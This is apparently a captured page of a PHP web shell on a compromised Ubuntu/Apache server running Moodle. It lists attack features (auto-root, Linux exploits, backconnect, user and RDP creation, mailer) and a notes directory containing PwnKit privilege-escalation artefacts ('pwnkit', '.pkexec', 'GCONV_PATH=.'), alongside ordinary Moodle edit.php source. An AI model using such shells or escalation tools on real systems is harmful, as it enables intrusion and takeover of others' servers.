Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
notes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
delete.php
2.48
KB
-rwxrwxrwx
edit.php
3.14
KB
-rwxrwxrwx
edit_form.php
1.24
KB
-rwxrwxrwx
externallib.php
19.86
KB
-rwxrwxrwx
index.php
4.86
KB
-rwxrwxrwx
lib.php
10.21
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : edit.php
<?php require_once('../config.php'); require_once('lib.php'); require_once('edit_form.php'); /// retrieve parameters $noteid = optional_param('id', 0, PARAM_INT); $url = new moodle_url('/notes/edit.php'); if ($noteid) { //existing note $url->param('id', $noteid); if (!$note = note_load($noteid)) { print_error('invalidid', 'notes'); } } else { // adding new note $courseid = required_param('courseid', PARAM_INT); $userid = required_param('userid', PARAM_INT); $state = optional_param('publishstate', NOTES_STATE_PUBLIC, PARAM_ALPHA); $note = new stdClass(); $note->courseid = $courseid; $note->userid = $userid; $note->publishstate = $state; $url->param('courseid', $courseid); $url->param('userid', $userid); if ($state !== NOTES_STATE_PUBLIC) { $url->param('publishstate', $state); } } $PAGE->set_url($url); /// locate course information if (!$course = $DB->get_record('course', array('id'=>$note->courseid))) { print_error('invalidcourseid'); } /// locate user information if (!$user = $DB->get_record('user', array('id'=>$note->userid))) { print_error('invaliduserid'); } /// require login to access notes require_login($course); /// locate context information $context = context_course::instance($course->id); require_capability('moodle/notes:manage', $context); if (empty($CFG->enablenotes)) { print_error('notesdisabled', 'notes'); } /// create form $noteform = new note_edit_form(); /// set defaults $noteform->set_data($note); /// if form was cancelled then return to the notes list of the note if ($noteform->is_cancelled()) { redirect($CFG->wwwroot . '/notes/index.php?course=' . $note->courseid . '&user=' . $note->userid); } /// if data was submitted and validated, then save it to database if ($note = $noteform->get_data()){ if ($noteid) { // A noteid has been used, we don't allow editing of course or user so // lets unset them to be sure we never change that by accident. unset($note->courseid); unset($note->userid); } note_save($note); // redirect to notes list that contains this note redirect($CFG->wwwroot . '/notes/index.php?course=' . $note->courseid . '&user=' . $note->userid); } if ($noteid) { $strnotes = get_string('editnote', 'notes'); } else { $strnotes = get_string('addnewnote', 'notes'); } /// output HTML $link = null; if (has_capability('moodle/course:viewparticipants', $context) || has_capability('moodle/site:viewparticipants', context_system::instance())) { $link = new moodle_url('/user/index.php',array('id'=>$course->id)); } $PAGE->navbar->add(get_string('participants'), $link); $PAGE->navbar->add(fullname($user), new moodle_url('/user/view.php', array('id'=>$user->id,'course'=>$course->id))); $PAGE->navbar->add(get_string('notes', 'notes'), new moodle_url('/notes/index.php', array('user'=>$user->id,'course'=>$course->id))); $PAGE->navbar->add($strnotes); $PAGE->set_title($course->shortname . ': ' . $strnotes); $PAGE->set_heading($course->fullname); echo $OUTPUT->header(); echo $OUTPUT->heading(fullname($user)); $noteform->display(); echo $OUTPUT->footer();
Close